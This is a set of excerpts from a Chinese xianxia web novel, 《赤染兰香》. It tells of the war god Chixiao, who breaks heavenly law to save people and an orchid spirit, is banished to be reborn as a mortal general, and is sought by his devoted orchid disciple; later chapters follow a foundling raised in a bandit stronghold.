《赤染兰香》 1. 第一章 天神君救人舍灵泉 《赤染兰香》全本免费阅读 上古时候,相传北极宫紫微星君座下原有北极五圣,又称北极五圣真君。 五圣真君之首的晨阳太平神君——赤骁,掌生民立道,开万世太平。赤骁手握天兵五十万,领天罡之帅衔,他仗剑四海,逐星辰之辉,沐日月光华,战力威震乾坤环宇。不过与其他四圣真君面目凶神恶煞不同,晨阳太平神君一袭白衣,面若冠玉,清贵高华。 那一年,王母生辰,需要用御酒宴请四海仙客,于是便派赤骁前往北海。只因北海中央的岛上有座仙山,名为“木山”,山下有一眼山泉,名为“瑶泉”,玉帝认为只有用瑶泉的泉水酿出的酒才是琼浆玉液,才配得上王母的寿宴。 物换星移,瑶泉的泉水已变得非常稀少,水滴得很慢。晨阳太平神君赤骁在将搜集的泉水装进自己的仙葫芦里,遂离开北海。 赤骁腾云驾雾路遇华夏旱灾,眼前江河断流,粮食颗粒无收。赤骁不忍黎民百姓受苦,拿着葫芦里的甘露前去布雨。他站在昆仑峰顶,打开宝葫芦,甘泉犹如万道银线,瞬时倾泻而下。世间得遇甘霖,大地重获生机,处处生机盎然。 瑶泉仙露是圣水,本是用作王母寿辰酿酒之用,却被赤骁拿去为百姓施雨了。赤骁深知自己有违圣意,触犯天条,但当时的他没有别的选择,他实在不忍眼睁睁看着那些苍生受难。 布雨结束后,赤骁来到昆仑峰脚下休息。他瞥见一棵白兰花,长得洁白无瑕,娇嫩可爱。这棵白兰经年累月沐浴昆仑光辉,早已修炼可以幻化为人形,只是由于修为不够,还不能随时变为人身。 赤骁坐在那里正看得出神,一只蜘蛛精扑了过来,冲着白兰的根茎咬了下去。为了救下白兰,赤骁立刻使用仙术击伤蜘蛛精。情急之下,他下手重了些,蜘蛛精顿时灰飞烟灭了。这只不入流的蜘蛛小妖,则永世再无超生的机会。 赤骁是天界里战力最强的神,别说是蜘蛛精中了他的攻击,即使是一些道行尚浅的神仙中了他的法力也都会修为尽失。 三界皆有法条,即使是不入流的小妖精,上神也不能随意剥夺万物生灵的生存权利,更不可随意灭之。倘若灵力高的神仙就可以随意打击那些神力低的,那仙界岂不完全乱了次序。赤骁杀了蜘蛛精后,自知自己第二次触犯了天界法条。 虽然赤骁出手很快,但还是晚了些。白兰的根几乎断了,靠着赤骁的灵力护着,白兰才没有立刻死去。本来赤骁还要回天庭复命,他应该立刻离去。可出于担心白兰,赤骁还是决定守在白兰身边观察几天看看,届候白兰真的安然无恙了,他再离开也不迟。 可是第二天,兰花的叶子逐渐变黄,赤骁便知道兰花伤得太重了,自己的灵力恐怕救不活她。赤骁盯着自己的仙葫芦,一时陷入两难之中。他知道瑶泉泉水有起死回生之妙,可此时葫芦里的水只剩下三分之一了,如果再用去救这棵白兰,他真的无法跟玉帝交代。 道理赤骁全都明白,可他见白兰生得娇艳可爱,就是无法眼看着这棵白兰死去。踌躇片刻,赤骁还是打开了宝葫芦,将甘露缓缓滴在发黄的叶子处。瞬时叶子上亮晶晶的露水闪着夺目的光芒,叶子上枯萎的黄色消失了,白兰花变得更加洁白晶莹。 接下来的日子,赤骁每日皆用宝葫芦里的甘泉水滋养这棵白兰花。葫芦里的泉水越来越少,三个月过后,泉水终于用尽了,不过可喜的是,白兰花比从前更加高洁芬芳。 赤骁打定主意再陪白兰花一晚,明日一早就返回天宫。翌日清晨,一夜闭目养神的赤骁睁开双眼,见眼前站着一个妙龄的少女。她一袭白衣若雪,头上挽着一条充满飘逸的白丝带,气质飘逸出尘,清丽无伦,好似从昆仑峰顶的雪山里走来的仙女一般。 在天宫里一直美女如云,赤骁作为上古的战神,崇拜他的女仙可谓不可胜数,可赤骁从未多瞥一眼。可今天他却觉得少女的那张脸精致得明艳出尘。虽是初次相见,但赤骁对这个女孩却有着似曾相识的感觉。 女孩上前微微一礼,“公子万福,不对,应是师父……” 赤骁摆了摆手,“这位姑娘,您大概认错人了,我们未曾谋面。” 女孩声音清灵悦耳,“师父,是你救了我啊!我就是那棵兰花。” 赤骁以为他救的只是一株兰花而已,“原来你已可以化为人形,难怪。” 女孩跪在了赤骁面前,“是的,我已经有了六百年的修行,那日蜘蛛咬伤了我,幸得师父在,才令我不枉送性命。” 赤骁发问:“敢问姑娘芳名?” 女孩脸色微红,“我还没有名字,师父叫我木兰就好。” “你还是别叫我师父了。” “师父对我有再生之恩,我理应尊您为师。” 赤骁淡泊,“实不敢以恩自居,我身上还有要事,既然你已无碍,我也该走了,今后你多保护好自己。” 女孩眼圈微红,“师父您留步,昆仑峰妖魔仙道众多,我法力低下无法自保,求求师父带我离开昆仑峰,去到一个安全的地方。” 白兰花虽修炼了六百年,但仍旧法力尚浅,无法腾云驾雾,甚至连昆仑峰都无法翻越。昆仑峰是有名的仙山,这里住着群仙众魔,可那些道行浅的小仙只能自求多福。白兰花在昆仑峰的日子,经常被其它小妖欺压。 听了白兰的话,赤骁犹豫了,因为布雨、救白兰花,他不仅犯了天条,且已经误了回天界的时间,如今如要继续带着木兰走的话,恐更无被宽恕的可能。 赤骁在几万年里征战四方,荡平四海,除了战事,他从未被任何事情牵绊,是名副其实的冷面战神。可那天可能是善心作祟,亦或是缘分使然,总之赤骁心软了。他最终还是带着白兰花去了一个地方,那里山清水秀,物华天宝。 赤骁将白兰花栽种在一个瀑布旁,这样就可以让她每天都看见美丽的景色。从第一眼看见这里,白兰花就非常喜欢这里的一切,她感觉置身在世外桃源一般。 木兰惊喜地眨着眼睛,“师父,你是怎么发现这里的呢?我真的好喜欢这里。” “两万年前,我出战贝蓝路过这里,就喜欢上了这里。” 木兰声音悦耳,“那我们给这个瀑布取个名字吧?” 赤骁想了想道:“风过急,雨久凄,只有 2. 第二章 犯天条贬斥下凡尘 《赤染兰香》全本免费阅读 翌日,木瑶变回人身,见师父已不见踪迹,她心碎神伤。木瑶见自己身旁放着师父的法器“瑶晨玉风笛”,笛子下面还压着一封信。木瑶心知这两样东西是师父留给自己的,她打开信,见纸上赫然写着一首诗: 《枉流年》 人间苦海遍神州,世万苍生困旱忧。 续赴昆仑施雨咒,缘结聚散断离休。 木瑶反复读着诗,前三句她都看得懂,只有最后一句,她不知道师父为什么这么写。尤其读到“断离”这两个字,木瑶感觉心疼了一下,她有种不好的预感,感觉师父好像在跟自己说着诀别的话。 木瑶用力安慰着自己,昨天晚上师父还好好的,应该不是“断离”的意思。只是木瑶还不知道,赤骁回了天庭就被玉帝审问。 玉帝得知真相后,勃然大怒,“赤骁,你未取回泉水,你可知罪?” 赤骁去施雨的时候,就知道会有这个结果。他丝毫不敢为自己辩解,“臣知罪。” 玉帝语气停顿了一下,“王母寿辰在即,且不说瑶泉泉水已被你拿去救灾,即使现在泉水尚在,你延误归期,也来不及酿酒了,你犯的罪甚至无补救之法。” 赤骁也知道,这种御酒要经过足够发酵时间,才会更加香醇。 玉帝也知道赤骁在漫长岁月里四处征战,屡立战功,他在内心里也非常偏爱赤骁,可是玉帝依然不能为了赤骁破了天规戒律。 玉帝威严赫赫道:“赤骁,御旨不可逆,天规不能违。既然你已经认罪,按照天条,你需去到“万劫崖”,经年遭受雷击、电闪、风袭、石压、火炼,永不赦免。” 赤骁心里悲凉,不是因为他即将要遭受这漫长的酷刑,只是因为他的这个天界战神今天要划上句点了,他真心舍不得自己曾经的战友、曾经的战场、曾经的荣耀。 其余四圣真君齐齐跪在地上,求玉帝法外施恩。 玉帝见状彻底爆发雷霆之怒,“并非朕无情,赤骁犯的错误不是一般的错误,他误了王母的生辰宴,且明知故犯,故此不得赦免。任何人不得再替赤骁求情,否则尔等同罪。” 北极宫紫微星君动容,心如刀绞。按理说神仙是少有七情六欲的,但赤骁跟在紫微星君身边数万年,就像他的孩子一般,紫微星君怎么做不到无动于衷。 天兵正要押解赤骁去万劫崖,赤骁淡然地说了句,“等等……” 天兵松开手,赤骁恳求道:玉帝,我深知所犯之罪不可赦,但我能不能求圣上一件事。” “何事?” “我可不可以要求灵灭?”灵灭,就是神仙的死法。神仙本就是长生不老的,即使是玉帝也无权剥夺神仙的生命。但是有一种情况,只要神仙自己提出自灭元神,便可以完全消失。不过神仙都是好不容易得到上神的身份,几乎从未有人会愿意放弃神的身份。赤骁之所以会这样选,也是不想往后漫长的岁月里,活在从前的回忆中,那也太过残忍了。 不等赤骁说话,紫微星君先走上前,“骁儿,你怎么可以?” 玉帝对赤骁的做法不敢置信,“你真的要这样选?” 赤骁坚决道:“星君,我意已决。” 紫微星君看向玉帝,“圣上,不能让赤骁灵灭,不如将他贬谪下界,永世为人。” 赤骁知道紫微星君这么为自己求情,也是不希望自己完全灰飞烟灭,生而为人,至少还在这个世界上,而元神尽灭,就完全不存在了。其余四圣真君虽然不觉得转世为人是赤骁最好的一种结局,但这或许是能争取到的最好结果。 玉帝思忖片刻,“念赤骁昔日战功,朕从轻发落。改劫刑为贬去下界,永不为神。” 赤骁来到转轮台,不舍地回头看了一眼昔日的战友和朋友,没有说话,只是灿烂一笑,便纵身一跃跳下了“转轮台”。 赤骁转世为人后,紫微星君还去凡间偷偷看过他。知道赤骁在凡间过的好,紫微星君也便放了心。为了纪念这个昔日的天宫战神,紫微星君给赤骁撰写了传记,存放在北极宫千秋梦大殿里。 不仅如此,紫微星君为让赤骁即使在凡间也能发挥他的将才来解救天下苍生,特设立“十二将星”琉璃瓶。琉璃仙瓶里至多可以装有十二灵魄,这些灵魄的守护星对应黄道十二星座,每个星座都有一名品行高洁的转世神仙守护着。 每当人间抢夺、战争、杀戮渐多,百姓饱受疾苦,琉璃宝瓶的封印就会打开,十二将星的灵魄便下凡转世为人,去匡扶正义,去保国安民,去解救众生。而赤骁位列十二将星之首,带领群星开万世太平。 时间转眼过了两千年,人世间有过三次灾难临头,赤骁也转世了三次,而在流云瀑修炼的木瑶,也得以完全化为人身。这两千年里,她为了快点修为人身,没日没夜地苦练。木瑶非常思念自己的师父,只是赤骁曾对她下过严令,命她两千年之内不可离开流云瀑,木瑶不敢违抗。 木瑶时常想起,从前自己练功不专心的时候,师父严厉地批评自己。而现在听不到师父的教诲了,她真的好怀念那段日子。慕瑶想不通的是,为什么师父走后就再也没有回来看过自己。她甚至失落地想:“师父会不会已经忘记了自己这个徒儿?” 师父定下的两千年期限刚刚过,木瑶便离开流云瀑飞去天庭,来到了北极宫。 不等木瑶走近,北极宫门口的天兵,将长枪对准木瑶,语声严厉,“你是哪路小神?请快快离去,这里是北极宫,不是随便可以走动的地方。” 木瑶恭敬矮身行礼,“两位军爷,能不能帮我通禀一下?我想找一下晨阳太平神君赤骁。”天宫里已经有段时日没有再听各路神仙提过赤骁的名字了,但这个代表荣耀的名字却从来不曾消失。 守门的天兵有些惊讶,也有些感伤,“你找赤骁?” 木瑶连连点头。 天兵的语气温和了些,但依旧横眉竖目,“你是他什么人?” “我是他的徒弟。”木瑶引以为傲地说着。 天兵眉毛一挑,“胡说,赤骁从未有过徒弟,你再敢在这里招摇撞骗,我给你绑起来。”赤骁虽然不在天宫了,但依然受人尊敬,那些天兵天将绝不允许有人给战神冠以污名。 木瑶拿出师父留给她的法器——瑶晨玉风笛,试探问道:“你们…认识…这个吧?” 天兵惊愕,“原来你真的是赤骁的徒弟,失礼。” 木瑶摆手,“无妨,可否帮我通传一下?” 守门的天兵没有直接告诉木瑶赤骁已经不在了,这么大的事他们也不敢轻举妄动,于是连忙进宫禀报紫微星君。 毕竟太久没见了师父了,木瑶眼神焦急,她一直向宫门里面张望着。慕瑶一想到马上就能见到师父,内心 3. 第三章 将星君投胎做将军 《赤染兰香》全本免费阅读 就这样,木瑶带着两千年的思念去了凡世,很快,她就在一个将门府邸找到了凡世的“赤骁”。这一世,赤骁是一位老将军的独子,是名副其实的天才少年将军,他在十八岁就一战成名,成为国中最耀眼的那颗星。 此时,凡间已是深夜,木瑶隐身走进“赤骁”的书房,见师父正伏在书案前读着兵书尉缭子。尽管凡人“赤骁”根本看不见自己,但她还是很紧张。 木瑶端视着眼前丰姿如玉、眸若朗星的男子,那个她朝思暮想两千年的人,那个她在这个世界上唯一惦记、想念的人。 望着师父的脸,木瑶不禁想起两千年前与师父相处的点点滴滴,于是幸福地笑了,可笑着笑着,她的眼眶里渐渐噙满了泪水。木瑶笑是因为等了千年,今天终于见到了师父,她哭是因为,她虽与师父近在咫尺,却不能跟“师父”说句话,甚至连叫一句师父都做不到。 世界上最遥远的距离,就是我站在你面前,而你并不知道。 良久,木瑶的情绪稍稍平静了些,这才环顾着房间的摆设,却无意间看到屋内的墙上挂着一幅画。 画上的女子一袭白衣站在瀑布前,她头上也似自己一样挽着一条飘逸的白丝带,笑靥如花,风致嫣然。 木瑶定睛看后很是惊讶,画中的女子竟然跟自己有着极其相似容颜,她不由得猜想师父是不是还残留着一些前世的记忆,这才画出了记忆中的自己。她走至画前,轻抚着画纸,仔细看着画上的每一处细节。最后,她的目光移到画的落款处,上面盖有鲜红的三个字——“卫泽兰”。 木瑶暗自猜测:“难道师父在凡世的名字叫“卫泽兰”?” 那个“兰”字对木瑶来说有着不一样的意义,木瑶坚信自己就是师父名字里的那朵兰花,而那个“泽”字,更让木瑶想起了从前师父用瑶泉水救自己的情形。 看了一会儿兵书,赤骁也累了,就拿起笔来,在纸上写起诗来。木瑶走到书案边,发现赤骁已经在笺纸上题了个诗名。瞥见诗名的那一刻,木瑶心里为之一震。 原来,凡人“赤骁”用苍劲的笔体写了三个字——“枉流年”。这是她与师父分别时,赤骁留给自己的绝笔信。 木瑶看眼见“赤骁”把那首诗写完,眼泪终于止不住地滑落下来。 木瑶正陷入深深的难过中,突然外面响起两下敲门声,随后一个妙龄女子端着一壶茶走了进来。 见那个女孩的长相,木瑶这才明白,原来“师父”画的是这个端茶的女子,只是这个女孩跟自己长得几乎一模一样。 见女子进来,凡人“赤骁”暖笑着:“有劳娘子了。” 女子嫣然一笑,“一点都不辛苦。” 听着师父和那女子的对话,木瑶心头一紧,随即狠狠地绞痛着。她心里深深遗憾着,“为什么站在师父身边的不是自己?寻了千年找了千年,最后还是错过了。” 端茶的女子把茶放在书案上,然后柔声道:“泽兰,不要睡得太晚,还是早一点休息吧!” 木瑶这才确定,师父在凡间的名字果然叫“卫泽兰”。 卫泽兰喝了口茶,冲着女子说道:“慕瑶,你先去睡吧,我一会儿就睡。” 听师父这样称呼着自己的妻子,木瑶心里一颤,“原来师父的妻子也叫“木瑶”。” 师父的妻子嫣然一笑,“泽兰,这次你出战,不管怎么样我要跟你一起去,你不准再把我留在家里了。” 卫泽兰会心一笑,“好,不过你只能坐镇中军帐,不能上阵杀敌的。” 妻子慕瑶微微一努嘴,玩笑说道:“夫君,你这样说是“轻视”女性哦,从古至今,替父从军的花木兰是巾帼英雄,阻击金人的梁宏玉是女中豪杰,开疆拓土的妇好更是天骄之女。她们都是女子,但都是不让须眉的。” 赤骁暖笑,“娘子误会了,我不是说你的才能不及她们,只是为夫顾虑你的安危,不敢让你冒险。” 慕瑶娇笑回应,“我知道,我也是故意逗你的,看你那么紧张的样子。” 看到师父与妻子说说笑笑,望着这温馨的一幕,木瑶的眼前再次蒙上一层薄雾。不过 4. 第四章 林家玉定下卫氏亲 《赤染兰香》全本免费阅读 人间此时,已是丰国顺帝年间。丰国自太祖项岩建国,王朝已走过276个春秋。与建国初期的兴利除弊、轻徭薄赋相比,彼时的神州大地已处处是生灵涂炭、饿殍遍野。 当初太祖项岩取国号为“丰”,他就是希望能创立一个民和年丰、时和年丰、国富民丰的盛世。可事与愿违,如今丰国外有狼烟烽火,内有奸臣为祸,丰顺帝项靖更是昏庸无道,百姓几乎看不到任何希望。 对丰国而言,内忧尚可缓治,外患却迫在眉睫。丰国早已不是那个国富民丰的王朝,有的也只是一个空架子罢了,就像一个虚弱的胖子,有的只是肥大而不是真的强大。蒙古人正是看到这一点,才渐渐生出狼子野心。 数月前,蒙古瓦哈国国王那海攻打丰国京师北都城,丰国尚书令卫忠海拼死护城四十三天,而后一路追杀,逼得那海不得不暂时撤军。 尚书令卫忠海一生忠义,他的祖上曾出过两届帝师、三界宰辅,京城保卫战之后,他也迎来了人生最辉煌、最荣耀的时刻。丰顺帝项靖为表其功绩,准允卫忠海在那年清明时节回西关道祭祖省亲。 西关道刺史林远峰与卫忠海是结义兄弟,那晚皓月柔和,皎洁当空,两家约在一起会食、赏月。卫忠海与林远峰把酒言欢、共叙桑麻,卫忠海之妻白华,林远峰妻妾沈芸、江萍也坐在席上谈笑。 林远峰极为敬重卫忠海,他举杯道:“大哥,你抵御外敌,解京城之围,真真为吾丰国立下不世之功。” “诶,贤弟慎言,你这番话要是被外人听去可不得了。” “无妨,这是家宴,并无外人。”林远峰直言道,“大哥,今天无论如何,我也要说出肺腑直言,若不是世上还有兄长这样仰望星辰的忠臣忧心国家命运,那么恐怕早已国将不国。” 卫忠海举起酒杯,“贤弟,像你我之人,若能护佑国家一日,定当竭尽绵力一日,再别无他言。” 两人碰杯,仰头将杯中酒饮尽。他们两兄弟从国家大事,聊到家庭琐事。一时兴起,林远峰爽朗一笑,“大哥,小弟有个不情之请。” “欸,你我兄弟之间何须如此客套啊?贤弟尽管说就是了。” 林远峰未语先笑,“不瞒大哥,我想为吾家两女寻一良配。恰逢兄长家有两位公子,颜如冠玉、天资聪颖,假以时日必定英雄少年、人中龙凤。如能让他们四个孩子结秦晋之好以续两家情谊,岂不美哉?不知大哥意下如何?” 卫忠海之妻白华生了一对双胞胎,两个孩子已经半岁了,哥哥叫卫泽楠,弟弟叫卫泽兰。林远峰两位夫人都身怀六甲,大夫人还有一个月也就要生了,而二夫人则会在兰月生产。 卫忠海诧异,“贤弟怎么现在就能断定两个弟妹怀的是女娃?” 林远峰得意一笑,“前几个月吾遇见一个老道,他算命说我命中无子,有的只是两个女儿。” “道士之言岂能全信?” “那道士仙风道骨,目如晨星,我料他所言非虚。”林远峰想了想又补了句,“没有关系,如果到时候生的男孩,就让他们结为异性兄弟也可。” 卫忠海仰天大笑,“既然如此,贤弟若真有此意,为兄当然乐见其成。” 笑完,两人皆看向各自的夫人,两家夫人也是喜笑颜开。 林远峰忽地想起什么事,于是冲着自己夫人沈芸摆手。沈芸走到跟前,林远峰附耳说了几句话,沈氏回了内院。未几,沈芸拿回一个精致檀香木盒。 林远峰接过木盒子打开,从里面拿出两块圆形白玉佩,然后冲着卫忠海道:“这两块玉佩也是那个算命的老道给的,如今转送兄长,全当定亲信物。” 卫忠海面色一怔,“既然是吾儿娶贤弟爱女,理应我来备得聘礼,又怎能让贤弟赠予金贵之物?为兄深感惭愧!” 林远峰含笑,“大哥言重了,你我兄弟之间何须客气?况且这物件只是为两家孩子的事做个见证罢了,别无特别含义,谁准备都是一样的。” 卫忠海不再多说客气的话,他低头仔细看了看手中的玉佩,其玉质莹润,色中带翠,一见便知是价值连城之物。两块玉佩中还各镂刻了一个字,一个“瑶”字,一个“怡”字。卫忠海不禁好奇一问:“这两个字是侄女的名字?” “正是。老道不仅给了玉佩,还赐了名。说两个孩子出世后长女唤作林慕瑶,幼女名为林诗怡。” 酒至兴头,两兄弟又畅谈时事,抒发理想。当时他们还不知道,这是两人最后一次见面了。 过了清明节,卫忠海带着家人回到了北都。没几日,蒙古那海卷土重来,再度举兵南下围攻北都。此次,那海攻城是假,而是他收买了丰国太师黄魏、太保董素,三人共同人设奸计构陷卫忠海通敌卖国,并想法设法将卫忠海的污名坐实。 在黄魏和董素的煽风点火之下,顺帝果然心生猜忌,对卫忠海不再信任,只给了一万军马便叫卫忠海去迎敌。虽然兵力严重不足,卫忠海仍带兵出征,最终,他慷慨战死。 卫忠海死后,顺帝项靖轻信谗言,于是下令将卫忠海满门抄斩、株连九族。 卫忠海之妻白华,才逾苏小,貌并王嫱,其聪慧程度更是许多男子所不及。早在卫忠海再度出征之时,白华唯恐丈夫不测,便打算将两个幼子送走,她是怕万一发生意外连累两个孩子。 那日,白华把不满周岁的两个双胞胎幼子分别托付给陈伯和王嬷嬷。陈伯和王嬷嬷是陪着白氏嫁到卫家的,陈伯以前是白华娘家的管家,而王嬷嬷则是白华的奶妈,这两人都是白华最信任的仆人。 白华先叮嘱陈伯:“陈伯,你把长子泽楠送去东南边的临昌州我的远房表哥康诚那里。”康诚祖上陪着太祖打过江山,现居于临昌,虽不在朝廷担任实职,但却官封为誉国公,生活富足、衣食无忧。 陈伯动情,“小姐,你放心吧,只要我这个老命在,就一定会护佑大少爷到底。” 白华点点头,又看向王嬷嬷,“奶娘,你把泽兰送去国家正南方向的前广黎府太守方伯伯那里。”白华口中的方伯伯是方伯远,是白华父亲的义兄,也是白华的干爹。 王嬷嬷眼里闪着泪花,“小姐,你放心吧,我也会照顾好小少爷的。” 白华帮着王嬷嬷擦干了眼泪,“奶娘也要珍重。” 陈伯皱眉,“小姐,恕我多言,我们为何不把两位少爷送到西关道刺 5. 第五章 叶寨主替儿登绝峰 《赤染兰香》全本免费阅读 叶阳天回了山寨后没有回自己的院子,而是直接去了长风寨主厅海晏厅,他抱着孩子端坐上首,高声吩咐道:“来人,去把十二分寨主通通叫到这里来。” 泽清山上,以长风寨主寨为圆点,方圆十二里外,成表盘形状一般分布着十二分寨。这十二分寨的名字分别为:水瓶寨、双鱼寨、白羊寨、金牛寨、双子寨、巨蟹寨、狮子寨、处女寨、天秤寨、天蝎寨、射手寨、摩羯寨。 当时叶阳天建山寨时,便请自己的好友古野来设计山寨的位置,并给山寨的总寨和分寨起名字。 古野这个人,五行八卦、天文地理、占卜星象无一不通,无一不精,让他设计并起名再合适不过。叶阳天也曾问过分寨为何起了那么十二个名字,古野说这是根据天上星辰的图案所起,以求风水相合,叶阳天听了后甚是满意,也就没有再细细去问。 未有多久,十二分寨主都赶来了。进了海晏厅,见叶阳天抱个孩子,大家不约而同问着:“大哥,这是哪里来的孩子啊?” 叶阳天仰头大笑,“是上天赐给我的。” 这时叶阳天的大老婆唐露进了大厅,她人淡如菊、仪态端庄,颇有林下风韵之美。 “当家的回来了?”唐露声音优雅地问着。 叶阳天摆摆手,“露露,快过来看。” 唐露走到叶阳天身旁坐了下来,心里犯疑这是哪来的孩子,可脸上依旧平和,“这孩子生得倒是可人,眉宇间竟有疏朗气度。”说着,还用手掐了掐孩子的脸蛋。 话音刚落,厅外传来一个妖娆犀利的女声,“是谁疏朗啊?当家的,你走了两个月,我可想得紧。”那声音酥得人三魂六魄生烟,麻得人五脏六腑回血。 顷刻间,一个身着红裙的女人走了进来,她下颔尖尖,薄唇樱艳。因是纤腰婀娜、玉腿修长的缘故,女人走起路来翘臀微摆,风情万种,见之夺人心目。 这个女人叫夏薇,是叶阳天娶的侧妻,她虽然性子泼辣强势,但极其勤快能干,寨子里的大小事,也都是她帮着叶阳天打理。 夏薇走近了,才看到叶阳天怀里的孩子便道:“呦,呦,这是谁家的野孩子啊?” “胡说八道什么?嘴上总是没个把门的,什么野孩子?”叶阳天心里有点不悦,说完话就继续低头逗孩子玩。 夏薇双手抱臂交叉于胸前,站在那里放佛看戏一般。 叶阳天突然说道:“薇儿,这孩子以后是我儿子,也就是你儿子,我看以后你就来带这个孩子吧?” 夏薇嘴角轻撇,“哎呦,当家的,你可真不知道疼人呢,我这么忙,哪有时间照顾这个小麻烦啊?”夏薇才年方十八,她心里盘算着,将来肯定会有属于自己的孩子,她可不愿替别人养孩子。 话音一落,叶阳天瞪着眼睛,“什么麻烦?你是没听见我刚才的话吗?我再说一遍,他以后就是我儿子,我的亲生儿子。” 叶阳天站起身,对着厅上所有的兄弟喊道:“大家都听好了,这个孩子虽是我回山寨的路上捡到的,不过以后他就是咱们长风寨的少寨主。还有我今天定下一条规矩,日后谁也不许提起这孩子的身世。谁要是乱嚼舌头说孩子不是我亲生的,别怪我叶阳天翻脸不认人。” 众人见叶阳天从未有过的认真,都不敢再多言。 可能是叶阳天的声音过大了,孩子一下子哭了出来,叶阳天的脸色立即转得柔和,耐心地哄着孩子。 叶阳天看向唐露,“露露,薇儿不懂事,我看这孩子还是交由你来照顾更稳妥。” 唐露表情微怔,欲言又止,她心里对叶阳天这个决定也颇为不满,“凭什么夏薇不要,就塞给自己呢?而且抚养一个刚过襁褓的孩子,会凭空多出很多事。”不过唐露性格温顺一些,不会公然顶撞叶阳天。更何况叶阳天已经在气头上了,她也不敢再拒绝了。 此时的唐露完全没想到,叶阳天“强塞”给她的是个宝,而日后,夏薇也因当时拒绝养这个孩子而悔青了肠子。而后二十年,唐露和夏薇因为这个孩子争风吃醋,不止不休。 见唐露算是答应了,叶阳天情绪更为高涨,“我给这孩子想了一个名字,就叫他叶阳晨,看大家觉得怎么样?” 如果说认下这个孩子已经让所有人惊讶的话,那么叶阳天起的这个名字,更是让所有人震惊。 叶阳天实际并不姓“叶”,而是复姓“叶阳”。熟悉叶阳天的都知道,叶阳天祖上也是个贵族,在他们家族,只有长子才能承袭“叶阳”这个姓氏。可问题是叶阳天竟然把这个姓氏随便给了这个来路不明的孩子,这实在令众人匪夷所思。 唐露和夏薇心里更为不满,心想自己将来有了孩子不能叫“叶阳”这个姓氏了。 叶阳天不管任何人高不高兴,他就觉得叶阳晨这个孩子是他的福星,会给自己带来好运。寨子里的所有人虽不敢与叶阳天理论,可心里都觉得福星之说过于荒诞,不过就是叶阳天多年无子,想孩子想得有些痴狂了。 可是后面发生的事情真应了叶阳天的福星之说,山寨里可谓好运接连而至。不到一个月,唐露被郎中把脉,诊出已有月余的身孕。无独有偶,又过两个月,夏薇也怀上了。 翌年,农历腊月,唐露诞下一个女孩,取名“芷萱”。杏月,夏薇产下一个儿子,名唤“叶清扬”。 长风寨一下又添了两个孩子,山寨里一时间喜气洋洋的。 唐露倒是挺知足的,收养了叶阳晨,又有了叶芷萱,可谓儿女双全。后来夏薇生下男孩,唐露就更加庆幸自己收养了叶阳晨,否则自己膝下无子,夏薇在山寨里的地位就更高了自己一头。 夏薇心里就很不平衡,她想如果自己能早怀上几个月,也许叶阳天就不会在外边捡回那个“野孩子”了。 可叶阳天却觉得这一切都是叶阳晨给自己带来的,如果不是叶阳晨把幸运幸福给自己,上天不会再赐给自己一双儿女。 ****** 转眼间过了六年,叶阳晨已经七岁了。这个孩子已经气度非凡、胆量过人。寨子里的所有人都那么喜欢叶阳晨,那些分寨主也待他视如己出。 每年叶阳晨过生日,都是寨子里最热闹的。七岁生日那天,叶阳晨在生日宴上突然对父亲说:“爹爹,我长大了想做盖世英雄。” 叶阳天狂笑,“好啊,儿子,你有大志向,爹爹肯定支持你。不过你倒是说说看,你要怎么做英雄呢?” 叶阳晨挑着眉头想了想,“我先要拜江湖中武艺最高强的人为师。” 叶阳天只是眯眼微微一笑,“儿啊,其实当今世上武功最高的人就在咱们泽清山的玉狼峰顶,他的名字叫楚宗,江湖人还给他起了一个响当当的名号,叫做“云侠”。” 叶阳晨眨了眨眼睛,“那爹爹,你带我去玉狼峰拜师好不好?” 叶阳天轻抚着叶阳晨的头,“那个楚宗云游四海惯了,为父也不确定他一定在,好像楚宗只有冬天才会偶尔回到玉狼峰,不过听说他从来不收徒弟。”世上不知有多少人想做楚宗的徒弟,但没有一人能入他的法眼。久而久之,想拜楚宗为师的人也就望而却步了。” 叶阳晨着急道:“他不收徒弟?那怎么办?” “孩儿莫急,为父索性亲自去趟玉狼峰,求楚宗收你做徒弟。” “爹爹,传说玉狼峰下的冷夕林可能有血狼出没,而血狼凶猛无比,所以爬玉狼峰的人鲜有活着下来的。” 叶阳天弯下身,笑着安慰:“没事,爹不怕。何况雪狼之说不知是真是假,不必轻信。” 叶阳晨担心地皱着眉,“爹,那我陪你一起去吧?或是你带着几个叔叔一起去?” “儿子,你有所不知,楚宗这个人行事作风有点古怪,他不喜欢一堆人去见他。何况这次又是去求他收你做徒弟,我就更要一个人去了。” 三日后,叶阳天启程去了玉狼峰。他虽然与楚宗不熟,但也打过几次交道。坦白说,叶阳天并不喜欢楚宗,因为楚宗是那样桀骜不驯,甚至有些狂妄自大。要不是为了儿子的前程,叶阳天是不会走这一趟的。 想当初,是叶阳天先来的泽清山安营扎寨,他都不知道楚宗是何时去的玉狼峰。不过叶阳天这个人喜欢广纳江湖豪杰,所以既然楚宗瞧得上泽清山这块风水宝地,他没理由驱赶人家。当然了,论武功,他也打不过楚宗。 到了玉狼峰顶,叶阳天远远看见舍身崖附近有个小木屋,他猜这应该就是楚宗在泽清山的住处了。叶阳天走了过去,出于礼貌,他轻轻敲了敲院门,“家里有人吗?” 叶阳天在院门口等了一会儿,见没有任何动静,也没有人答话,他便推门而入。 进到木屋子后,叶阳天拿柴生起火。待屋里暖和了些,叶阳天拿出自己随身带的烧鹅和酒吃了起来。酒足 6. 第六章 为名师独闯冷夕林 《赤染兰香》全本免费阅读 翌日,叶阳天便下山了。回了山寨,他把叶阳晨叫到跟前说道:“儿啊,为父已经跟楚宗说好了,他决定给你个机会,只是要先考验考验你。” “怎么考验?”叶阳晨的小脸依旧充满稚气。 楚宗按住叶阳晨的双肩,“你需自己爬玉狼峰去拜师,有问题吗?” 叶阳晨随口说道:“那有什么问题?不就爬个山吗?” “爹爹实在不想让你冒险,要不…我们就不去拜楚宗为师了吧?爹爹再去给你找其他的武林高手教你功夫,我们多找几个师父,也是一样的。” 在当时,叶阳晨已经有了两位师父,分别是智圣古野和毒仙温狐,而且深得两位宗师的真传。 “不,爹爹,楚宗越是不想收我为徒,我越要去证明给他看,叶阳天的儿子不是纸糊的,更不是孬种。” 叶阳天轻摇头,“孩子,去玉狼峰没那么容易,需要钻一线天,翻鲤鱼背,闯冷夕林,传说冷夕林有血狼,你真的就不怕吗?” 叶阳晨眼神执拗,“爹爹,我不怕,即使玉狼峰是虎穴狼窝,我也要闯一闯。” 唐露担忧道:“小晨,听娘的话,咱们不去玉狼峰,也不学什么武功。” 夏薇在一旁附和,“是啊,儿子,那样太危险,我这个娘太担心你啊!” “娘,我一定要去。”叶阳晨扬着倔强的小脸说道。 